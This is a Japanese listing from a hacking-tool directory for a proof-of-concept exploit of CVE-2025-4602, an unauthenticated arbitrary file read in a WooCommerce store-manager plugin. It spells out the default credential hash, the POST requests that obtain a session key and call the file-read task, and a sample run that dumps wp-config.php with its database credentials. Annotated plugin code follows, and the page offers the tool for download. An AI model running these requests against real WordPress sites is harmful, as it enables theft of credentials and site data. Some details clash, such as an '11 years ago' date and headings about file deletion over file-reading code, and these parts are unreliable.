Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-4602 — eMagicOne Store Manager for WooCommerce <= 1.2.5 - 未認証の任意ファイル読み取り | Kitploit
ツール/GitHubGitHub/d0n601/cve-2025-4602
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト認証
GitHubd0n601/cve-2025-4602

CVE-2025-4602

eMagicOne Store Manager for WooCommerce <= 1.2.5 - 未認証の任意ファイル読み取り

リポジトリを見る
11年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

eMagicOne Store Manager for WooCommerce <= 1.2.5 - 認証なし任意ファイル読み取り

WordPressプラグイン eMagicOne Store Manager for WooCommerce は、サーバー上でファイル削除操作を可能にするリモート管理プロトコルエンドポイント(?connector=bridge)を公開しています。認証メカニズムは、デフォルトの認証情報ペア(login=1、password=1)とセッションキーシステムに依存しています。デフォルトの認証情報が変更されていない場合、攻撃者は簡単に認証してセッションキーを取得し、WordPressルートまたはアクセス可能な任意のディレクトリから任意のファイルを読み取ることができます。

再現

サーバーから wp-config.php ファイルを読み取ることを実証するためのPOC CVE-2025-4602.py が提供されています。

root@kitploit:~
python3 CVE-2025-4602.py https://lab1.hacker --file wp-config.php
[*] Requesting session key...
[*] Raw response: {"response_code":20,"revision":11,"module_version":"1.2.5","session_key":"38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc"}
[+] Got session key: 38933ee55aa61baf8bf4206494ec83c16c921980de6d5053f631172f0cad1cbc
[*] Getting file...
[*] File Content: <?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
 * * Database table prefix
 * * ABSPATH
 *
 * @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
 *
 * @package WordPress
 */

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'lab1' );

/** Database username */
define( 'DB_USER', 'homestead' );

/** Database password */
define( 'DB_PASSWORD', 'secret' );

/** Database hostname */
define( 'DB_HOST', 'localhost' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
...
...
...
...
...

脆弱なフロー

デフォルト認証情報とハッシュ計算

プラグインのアクティベーション時に、次の定数が smconnector.php に設定されます:

root@kitploit:~
define( 'EMO_SMC_DEFAULT_LOGIN', '1' );
define( 'EMO_SMC_DEFAULT_PASSWORD', '1' );

認証に使用されるデフォルトのハッシュは次のとおりです:

root@kitploit:~
'smconnector_hash'   => md5( EMO_SMC_DEFAULT_LOGIN . EMO_SMC_DEFAULT_PASSWORD ),

結果: デフォルトのハッシュは md5('1' . '1') = c4ca4238a0b923820dcc509a6f75849b です。

セッションキーの取得

セッションキーは、ハッシュとタスク(例:get_version)をブリッジエンドポイントにPOSTリクエストとして送信することで取得されます:

root@kitploit:~
POST /?connector=bridge
Content-Type: application/x-www-form-urlencoded

hash=c4ca4238a0b923820dcc509a6f75849b&task=get_version

関連コード:
classes/class-emosmconnectorcommon.php(441〜525行目):

root@kitploit:~
private function check_auth() {
    if ( $this->shop_cart->isset_request_param( 'key' ) ) {
        // ... session key validation ...
    } elseif ( $this->shop_cart->isset_request_param( 'hash' ) ) {
        $hash = (string) $this->shop_cart->get_request_param( 'hash' );
        if ( ! $this->is_hash_valid( $hash ) ) {
            // ... error ...
        }
        $key = $this->generate_session_key( $hash );
        // ... return session key ...
    }
}

セッションキーの保存

セッションキーは wp_smconnector_session_keys テーブルに保存されます:

root@kitploit:~
private function generate_session_key( $hash ) {
    $key = hash( 'sha256', $hash . $timestamp );
    $sql = 'INSERT INTO `' . self::TABLE_SESSION_KEYS
        . "` (`session_key`, `date_added`, `last_activity`) VALUES ('" . $this->shop_cart->p_sql( $key ) . "', '"
        . $date . "', '" . $date . "')";
    $this->shop_cart->exec_sql( $sql );
    return $key;
}

任意ファイル読み取り

有効なセッションキーがあれば、攻撃者は get_file タスクを使用してファイルを読み取ることができます:

root@kitploit:~
POST /?connector=bridge&task=get_file&key=<session_key>&entity_type=.&filename=wp-config.php

関連コード: classes/class-emosmconnectorcommon.php(2219行目以降):

root@kitploit:~
2219	        /** Get file */
2220	        private function get_file() {
2221	                if ( ! $this->shop_cart->isset_request_param( 'entity_type' ) ) {
2222	                        $this->generate_error( $this->br_errors['entitytype_param_missing'] );
2223	                }
2224	
2225	                if ( ! $this->shop_cart->isset_request_param( 'filename' ) ) {
2226	                        $this->generate_error( $this->br_errors['filename_param_missing'] );
2227	                }
2228	
2229	                $entity_type = (string) $this->shop_cart->get_request_param( 'entity_type' );
2230	                $filename    = (string) $this->shop_cart->get_request_param( 'filename' );
2231	
2232	                if ( empty( $entity_type ) ) {
2233	                        $this->generate_error( $this->br_errors['entitytype_param_empty'] );
2234	                }
2235	
2236	                if ( empty( $filename ) ) {
2237	                        $this->generate_error( $this->br_errors['filename_param_empty'] );
2238	                }
2239	
2240	                $file_path = $this->shop_cart->get_file( $entity_type, $filename );
2241	
2242	                if ( $file_path && $this->shop_cart->file_exists( $file_path ) ) {
2243	                        header( 'Content-Type: image/jpeg' );
2244	                        header( 'Content-Length: ' . $this->shop_cart->file_size( $file_path ) );
2245	                        readfile( $file_path );
2246	                } else {
2247	                        $this->generate_error( 'File is missing' );
2248	                }
2249	        }

class-emosmcwoocommerceoverrider.php 内のファイル削除(380行目以降)::

root@kitploit:~
426	        public function get_file( $folder, $filename ) {
427	                $folder   = trim( $folder, '/' );
428	                $filename = ltrim( $filename, '/' );
429	                if ( empty( $folder ) ) {
430	                        return $this->get_shop_root_dir() . $filename;
431	                }
432	
433	                return $this->get_shop_root_dir() . "$folder/$filename";

結果: ファイルがサーバーから返されます。

ツールをダウンロード